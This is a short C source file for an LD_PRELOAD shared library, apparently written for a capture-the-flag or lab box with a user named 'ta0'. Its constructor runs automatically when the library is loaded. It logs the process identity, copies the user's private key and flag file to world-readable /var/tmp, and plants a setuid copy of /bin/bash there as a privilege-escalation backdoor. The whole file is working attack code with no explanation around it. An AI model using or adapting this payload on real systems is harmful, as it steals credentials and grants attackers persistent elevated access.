#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

static void write_text(const char *path, const char *text) {
    int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) return;
    write(fd, text, strlen(text));
    close(fd);
}

static void copy_file(const char *src, const char *dst, mode_t mode) {
    char buf[4096];
    int in = open(src, O_RDONLY);
    if (in < 0) return;

    int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, mode);
    if (out < 0) {
        close(in);
        return;
    }

    ssize_t n;
    while ((n = read(in, buf, sizeof(buf))) > 0) {
        write(out, buf, n);
    }

    close(out);
    close(in);
    chmod(dst, mode);
}

__attribute__((constructor)) void init(void) {
    char identity[256];

    snprintf(identity, sizeof(identity),
             "uid=%d gid=%d euid=%d egid=%d\n",
             getuid(), getgid(), geteuid(), getegid());
    write_text("/var/tmp/ldpreload_uid", identity);

    copy_file("/home/ta0/key", "/var/tmp/ta0_key_copy", 0644);
    copy_file("/home/ta0/user.txt", "/var/tmp/ta0_user_flag", 0644);

    copy_file("/bin/bash", "/var/tmp/bash_ta0", 0755);
    chmod("/var/tmp/bash_ta0", 04755);

    write_text("/var/tmp/ldpreload_done", "LD_PRELOAD payload executed as ta0\n");
}